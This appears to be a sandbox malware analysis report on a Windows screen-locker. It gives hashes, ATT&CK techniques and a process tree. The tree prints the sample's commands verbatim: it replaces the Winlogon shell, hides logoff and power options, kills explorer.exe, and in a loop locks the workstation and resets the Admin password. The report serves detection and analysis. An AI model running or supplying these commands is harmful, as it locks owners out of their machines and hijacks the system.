e6de0e82d69f1b9055c9ff32d2947a47c7b096ff7e7df1f2c4e19c96506aa794

General

Target

8bd9973bda5ff85a87c17d6db0b80d8a.exe
Size

38KB
MD5

8bd9973bda5ff85a87c17d6db0b80d8a
SHA1

89f991a718553a51aa17faf1d36c3da1fe4e77a5
SHA256

e6de0e82d69f1b9055c9ff32d2947a47c7b096ff7e7df1f2c4e19c96506aa794
SHA512

d96f878784d01579a3d786b1b77f87539cea94d80d5966d2c8723c930b665980380564a92ce2c8533da8bc7a07a00913cd680c0d2bd5c56d38f6a711cc1ce1c5

Score

10^/10

persistence

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\Downloads\\wntlock4.exe"	reg.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

8bd9973bda5ff85a87c17d6db0b80d8a.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	8bd9973bda5ff85a87c17d6db0b80d8a.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	8bd9973bda5ff85a87c17d6db0b80d8a.exe

Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

372 taskkill.exe

pid	process
372	taskkill.exe

Modifies data under HKEY_USERS 15 IoCs

Processes:

LogonUI.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe

Modifies registry key 1 TTPs 4 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exereg.exe

pid process

1020 reg.exe
2568 reg.exe
1296 reg.exe
516 reg.exe
Runs net.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

taskkill.exeLogonUI.exe

description pid process

Token: SeDebugPrivilege 372 taskkill.exe
Token: SeShutdownPrivilege 700 LogonUI.exe
Token: SeCreatePagefilePrivilege 700 LogonUI.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

LogonUI.exe

pid process

700 LogonUI.exe

pid	process
1020	reg.exe
2568	reg.exe
1296	reg.exe
516	reg.exe

description	pid	process
Token: SeDebugPrivilege	372	taskkill.exe
Token: SeShutdownPrivilege	700	LogonUI.exe
Token: SeCreatePagefilePrivilege	700	LogonUI.exe

pid	process
700	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

8bd9973bda5ff85a87c17d6db0b80d8a.execmd.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exe

description	pid	process	target process
PID 3812 wrote to memory of 1948	3812	8bd9973bda5ff85a87c17d6db0b80d8a.exe	cmd.exe
PID 3812 wrote to memory of 1948	3812	8bd9973bda5ff85a87c17d6db0b80d8a.exe	cmd.exe
PID 3812 wrote to memory of 1948	3812	8bd9973bda5ff85a87c17d6db0b80d8a.exe	cmd.exe
PID 1948 wrote to memory of 2952	1948	cmd.exe	reg.exe
PID 1948 wrote to memory of 2952	1948	cmd.exe	reg.exe
PID 1948 wrote to memory of 1020	1948	cmd.exe	reg.exe
PID 1948 wrote to memory of 1020	1948	cmd.exe	reg.exe
PID 1948 wrote to memory of 2568	1948	cmd.exe	reg.exe
PID 1948 wrote to memory of 2568	1948	cmd.exe	reg.exe
PID 1948 wrote to memory of 1296	1948	cmd.exe	reg.exe
PID 1948 wrote to memory of 1296	1948	cmd.exe	reg.exe
PID 1948 wrote to memory of 516	1948	cmd.exe	reg.exe
PID 1948 wrote to memory of 516	1948	cmd.exe	reg.exe
PID 1948 wrote to memory of 372	1948	cmd.exe	taskkill.exe
PID 1948 wrote to memory of 372	1948	cmd.exe	taskkill.exe
PID 1948 wrote to memory of 660	1948	cmd.exe	rundll32.exe
PID 1948 wrote to memory of 660	1948	cmd.exe	rundll32.exe
PID 1948 wrote to memory of 3284	1948	cmd.exe	net.exe
PID 1948 wrote to memory of 3284	1948	cmd.exe	net.exe
PID 3284 wrote to memory of 3960	3284	net.exe	net1.exe
PID 3284 wrote to memory of 3960	3284	net.exe	net1.exe
PID 1948 wrote to memory of 676	1948	cmd.exe	rundll32.exe
PID 1948 wrote to memory of 676	1948	cmd.exe	rundll32.exe
PID 1948 wrote to memory of 396	1948	cmd.exe	net.exe
PID 1948 wrote to memory of 396	1948	cmd.exe	net.exe
PID 396 wrote to memory of 1036	396	net.exe	net1.exe
PID 396 wrote to memory of 1036	396	net.exe	net1.exe
PID 1948 wrote to memory of 1208	1948	cmd.exe	rundll32.exe
PID 1948 wrote to memory of 1208	1948	cmd.exe	rundll32.exe
PID 1948 wrote to memory of 316	1948	cmd.exe	net.exe
PID 1948 wrote to memory of 316	1948	cmd.exe	net.exe
PID 316 wrote to memory of 3056	316	net.exe	net1.exe
PID 316 wrote to memory of 3056	316	net.exe	net1.exe
PID 1948 wrote to memory of 832	1948	cmd.exe	rundll32.exe
PID 1948 wrote to memory of 832	1948	cmd.exe	rundll32.exe
PID 1948 wrote to memory of 344	1948	cmd.exe	net.exe
PID 1948 wrote to memory of 344	1948	cmd.exe	net.exe
PID 344 wrote to memory of 1548	344	net.exe	net1.exe
PID 344 wrote to memory of 1548	344	net.exe	net1.exe
PID 1948 wrote to memory of 1144	1948	cmd.exe	rundll32.exe
PID 1948 wrote to memory of 1144	1948	cmd.exe	rundll32.exe
PID 1948 wrote to memory of 3976	1948	cmd.exe	net.exe
PID 1948 wrote to memory of 3976	1948	cmd.exe	net.exe
PID 3976 wrote to memory of 1428	3976	net.exe	net1.exe
PID 3976 wrote to memory of 1428	3976	net.exe	net1.exe
PID 1948 wrote to memory of 2328	1948	cmd.exe	rundll32.exe
PID 1948 wrote to memory of 2328	1948	cmd.exe	rundll32.exe
PID 1948 wrote to memory of 3560	1948	cmd.exe	net.exe
PID 1948 wrote to memory of 3560	1948	cmd.exe	net.exe
PID 3560 wrote to memory of 3604	3560	net.exe	net1.exe
PID 3560 wrote to memory of 3604	3560	net.exe	net1.exe
PID 1948 wrote to memory of 3568	1948	cmd.exe	rundll32.exe
PID 1948 wrote to memory of 3568	1948	cmd.exe	rundll32.exe
PID 1948 wrote to memory of 3660	1948	cmd.exe	net.exe
PID 1948 wrote to memory of 3660	1948	cmd.exe	net.exe
PID 3660 wrote to memory of 1900	3660	net.exe	net1.exe
PID 3660 wrote to memory of 1900	3660	net.exe	net1.exe
PID 1948 wrote to memory of 1680	1948	cmd.exe	rundll32.exe
PID 1948 wrote to memory of 1680	1948	cmd.exe	rundll32.exe
PID 1948 wrote to memory of 1876	1948	cmd.exe	net.exe
PID 1948 wrote to memory of 1876	1948	cmd.exe	net.exe
PID 1876 wrote to memory of 3068	1876	net.exe	net1.exe
PID 1876 wrote to memory of 3068	1876	net.exe	net1.exe
PID 1948 wrote to memory of 2940	1948	cmd.exe	rundll32.exe

C:\Users\Admin\AppData\Local\Temp\8bd9973bda5ff85a87c17d6db0b80d8a.exe
"C:\Users\Admin\AppData\Local\Temp\8bd9973bda5ff85a87c17d6db0b80d8a.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3812

C:\Windows\SysWOW64\cmd.exe
cmd /c wntlock.bat
2⤵
- Suspicious use of WriteProcessMemory
PID:1948

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d C:\Users\Admin\Downloads\wntlock4.exe /f
3⤵
- Modifies WinLogon for persistence
PID:2952

C:\Windows\System32\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v shutdownwithoutlogon /t REG_DWORD /d 1 /f
3⤵
- Modifies registry key
PID:1020

C:\Windows\System32\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
3⤵
- Modifies registry key
PID:2568

C:\Windows\System32\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
3⤵
- Modifies registry key
PID:1296

C:\Windows\System32\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v HidePowerOptions /t REG_DWORD /d 1 /f
3⤵
- Modifies registry key
PID:516

C:\Windows\System32\taskkill.exe
taskkill /im explorer.exe /f
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:372

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:660

C:\Windows\System32\net.exe
net user Admin 347820163
3⤵
- Suspicious use of WriteProcessMemory
PID:3284

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 347820163
4⤵
PID:3960

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:676

C:\Windows\System32\net.exe
net user Admin 275508284
3⤵
- Suspicious use of WriteProcessMemory
PID:396

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 275508284
4⤵
PID:1036

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1208

C:\Windows\System32\net.exe
net user Admin 688428915
3⤵
- Suspicious use of WriteProcessMemory
PID:316

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 688428915
4⤵
PID:3056

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:832

C:\Windows\System32\net.exe
net user Admin 1177918572
3⤵
- Suspicious use of WriteProcessMemory
PID:344

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1177918572
4⤵
PID:1548

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1144

C:\Windows\System32\net.exe
net user Admin 549525620
3⤵
- Suspicious use of WriteProcessMemory
PID:3976

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 549525620
4⤵
PID:1428

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2328

C:\Windows\System32\net.exe
net user Admin 305458905
3⤵
- Suspicious use of WriteProcessMemory
PID:3560

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 305458905
4⤵
PID:3604

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3568

C:\Windows\System32\net.exe
net user Admin 24384051
3⤵
- Suspicious use of WriteProcessMemory
PID:3660

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 24384051
4⤵
PID:1900

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1680

C:\Windows\System32\net.exe
net user Admin 1115829116
3⤵
- Suspicious use of WriteProcessMemory
PID:1876

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1115829116
4⤵
PID:3068

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2940

C:\Windows\System32\net.exe
net user Admin 887422194
3⤵
PID:2200

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 887422194
4⤵
PID:2560

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3392

C:\Windows\System32\net.exe
net user Admin 131392991
3⤵
PID:3216

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 131392991
4⤵
PID:1916

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:900

C:\Windows\System32\net.exe
net user Admin 283067670
3⤵
PID:1216

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 283067670
4⤵
PID:1100

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1708

C:\Windows\System32\net.exe
net user Admin 2965116788
3⤵
PID:2332

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2965116788
4⤵
PID:3404

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1636

C:\Windows\System32\net.exe
net user Admin 143293264
3⤵
PID:1740

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 143293264
4⤵
PID:520

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1252

C:\Windows\System32\net.exe
net user Admin 863414153
3⤵
PID:3856

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 863414153
4⤵
PID:2732

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3848

C:\Windows\System32\net.exe
net user Admin 354118042
3⤵
PID:2240

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 354118042
4⤵
PID:3872

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1268

C:\Windows\System32\net.exe
net user Admin 86734378
3⤵
PID:648

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 86734378
4⤵
PID:4016

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:68

C:\Windows\System32\net.exe
net user Admin 191539332
3⤵
PID:372

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 191539332
4⤵
PID:660

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1484

C:\Windows\System32\net.exe
net user Admin 277456792
3⤵
PID:3284

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 277456792
4⤵
PID:676

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:436

C:\Windows\System32\net.exe
net user Admin 1254213007
3⤵
PID:396

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1254213007
4⤵
PID:1208

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:868

C:\Windows\System32\net.exe
net user Admin 971019016
3⤵
PID:1860

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 971019016
4⤵
PID:884

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1200

C:\Windows\System32\net.exe
net user Admin 2810129851
3⤵
PID:1548

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2810129851
4⤵
PID:3980

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1144

C:\Windows\System32\net.exe
net user Admin 2544718319
3⤵
PID:420

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2544718319
4⤵
PID:1376

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1792

C:\Windows\System32\net.exe
net user Admin 668913116
3⤵
PID:1324

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 668913116
4⤵
PID:3556

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3560

C:\Windows\System32\net.exe
net user Admin 1937021645
3⤵
PID:3568

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1937021645
4⤵
PID:3788

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3108

C:\Windows\System32\net.exe
net user Admin 282723826
3⤵
PID:3144

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 282723826
4⤵
PID:2120

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2140

C:\Windows\System32\net.exe
net user Admin 298916951
3⤵
PID:1516

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 298916951
4⤵
PID:2196

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3948

C:\Windows\System32\net.exe
net user Admin 158914169
3⤵
PID:2560

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 158914169
4⤵
PID:2200

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3004

C:\Windows\System32\net.exe
net user Admin 2068320810
3⤵
PID:2964

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2068320810
4⤵
PID:2804

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2984

C:\Windows\System32\net.exe
net user Admin 1202626445
3⤵
PID:3132

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1202626445
4⤵
PID:3544

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2404

C:\Windows\System32\net.exe
net user Admin 157079357
3⤵
PID:3676

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 157079357
4⤵
PID:1920

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3228

C:\Windows\System32\net.exe
net user Admin 162775778
3⤵
PID:4064

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 162775778
4⤵
PID:1108

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:900

C:\Windows\System32\net.exe
net user Admin 295110326
3⤵
PID:2284

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 295110326
4⤵
PID:3140

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1928

C:\Windows\System32\net.exe
net user Admin 2523414036
3⤵
PID:2424

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2523414036
4⤵
PID:3456

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2400

C:\Windows\System32\net.exe
net user Admin 210844943
3⤵
PID:2408

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 210844943
4⤵
PID:1764

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2136

C:\Windows\System32\net.exe
net user Admin 1651510411
3⤵
PID:3800

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1651510411
4⤵
PID:1252

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3852

C:\Windows\System32\net.exe
net user Admin 847725722
3⤵
PID:3860

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 847725722
4⤵
PID:3868

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1272

C:\Windows\System32\net.exe
net user Admin 562018881
3⤵
PID:3872

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 562018881
4⤵
PID:2240

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2660

C:\Windows\System32\net.exe
net user Admin 25821627
3⤵
PID:1180

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 25821627
4⤵
PID:652

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:952

C:\Windows\System32\net.exe
net user Admin 2601711830
3⤵
PID:68

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2601711830
4⤵
PID:2824

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1508

C:\Windows\System32\net.exe
net user Admin 1953224566
3⤵
PID:3772

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1953224566
4⤵
PID:1484

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:60

C:\Windows\System32\net.exe
net user Admin 68862371
3⤵
PID:608

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 68862371
4⤵
PID:360

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:864

C:\Windows\System32\net.exe
net user Admin 763418848
3⤵
PID:1208

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 763418848
4⤵
PID:396

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:868

C:\Windows\System32\net.exe
net user Admin 124062334
3⤵
PID:884

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 124062334
4⤵
PID:1860

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1200

C:\Windows\System32\net.exe
net user Admin 1327416634
3⤵
PID:3980

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1327416634
4⤵
PID:1060

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1352

C:\Windows\System32\net.exe
net user Admin 1211210782
3⤵
PID:3976

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1211210782
4⤵
PID:2272

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1604

C:\Windows\System32\net.exe
net user Admin 49772227
3⤵
PID:3604

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 49772227
4⤵
PID:3540

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1056

C:\Windows\System32\net.exe
net user Admin 663917696
3⤵
PID:2020

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 663917696
4⤵
PID:1648

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1900

C:\Windows\System32\net.exe
net user Admin 2075117965
3⤵
PID:1232

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2075117965
4⤵
PID:1680

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1444

C:\Windows\System32\net.exe
net user Admin 608123849
3⤵
PID:2180

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 608123849
4⤵
PID:2152

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2840

C:\Windows\System32\net.exe
net user Admin 1426023612
3⤵
PID:980

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1426023612
4⤵
PID:2944

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3744

C:\Windows\System32\net.exe
net user Admin 2991528749
3⤵
PID:2808

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2991528749
4⤵
PID:2756

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2984

C:\Windows\System32\net.exe
net user Admin 2616725386
3⤵
PID:3544

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2616725386
4⤵
PID:3132

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3732

C:\Windows\System32\net.exe
net user Admin 1892320431
3⤵
PID:3060

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1892320431
4⤵
PID:3276

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1504

C:\Windows\System32\net.exe
net user Admin 2223525086
3⤵
PID:3500

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2223525086
4⤵
PID:3208

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3368

C:\Windows\System32\net.exe
net user Admin 2468617289
3⤵
PID:1100

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2468617289
4⤵
PID:3964

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2892

C:\Windows\System32\net.exe
net user Admin 131611517
3⤵
PID:1848

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 131611517
4⤵
PID:2332

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2084

C:\Windows\System32\net.exe
net user Admin 1001931886
3⤵
PID:1636

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1001931886
4⤵
PID:1624

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1812

C:\Windows\System32\net.exe
net user Admin 97053442
3⤵
PID:1192

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 97053442
4⤵
PID:4048

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2952

C:\Windows\System32\net.exe
net user Admin 191356927
3⤵
PID:2280

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 191356927
4⤵
PID:1312

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2456

C:\Windows\System32\net.exe
net user Admin 96415803
3⤵
PID:3872

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 96415803
4⤵
PID:1268

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:516

C:\Windows\System32\net.exe
net user Admin 1814619323
3⤵
PID:2744

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1814619323
4⤵
PID:1048

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:660

C:\Windows\System32\net.exe
net user Admin 2486719524
3⤵
PID:3988

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2486719524
4⤵
PID:372

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:716

C:\Windows\System32\net.exe
net user Admin 84216106
3⤵
PID:3772

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 84216106
4⤵
PID:60

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:360

C:\Windows\System32\net.exe
net user Admin 1948832168
3⤵
PID:608

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1948832168
4⤵
PID:64

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:4000

C:\Windows\System32\net.exe
net user Admin 20807700
3⤵
PID:3708

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 20807700
4⤵
PID:3972

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:948

C:\Windows\System32\net.exe
net user Admin 3138031444
3⤵
PID:3920

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 3138031444
4⤵
PID:1372

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:344

C:\Windows\System32\net.exe
net user Admin 2391831613
3⤵
PID:2288

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2391831613
4⤵
PID:1724

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1164

C:\Windows\System32\net.exe
net user Admin 163571630
3⤵
PID:2632

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 163571630
4⤵
PID:3136

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3556

C:\Windows\System32\net.exe
net user Admin 270261804
3⤵
PID:3756

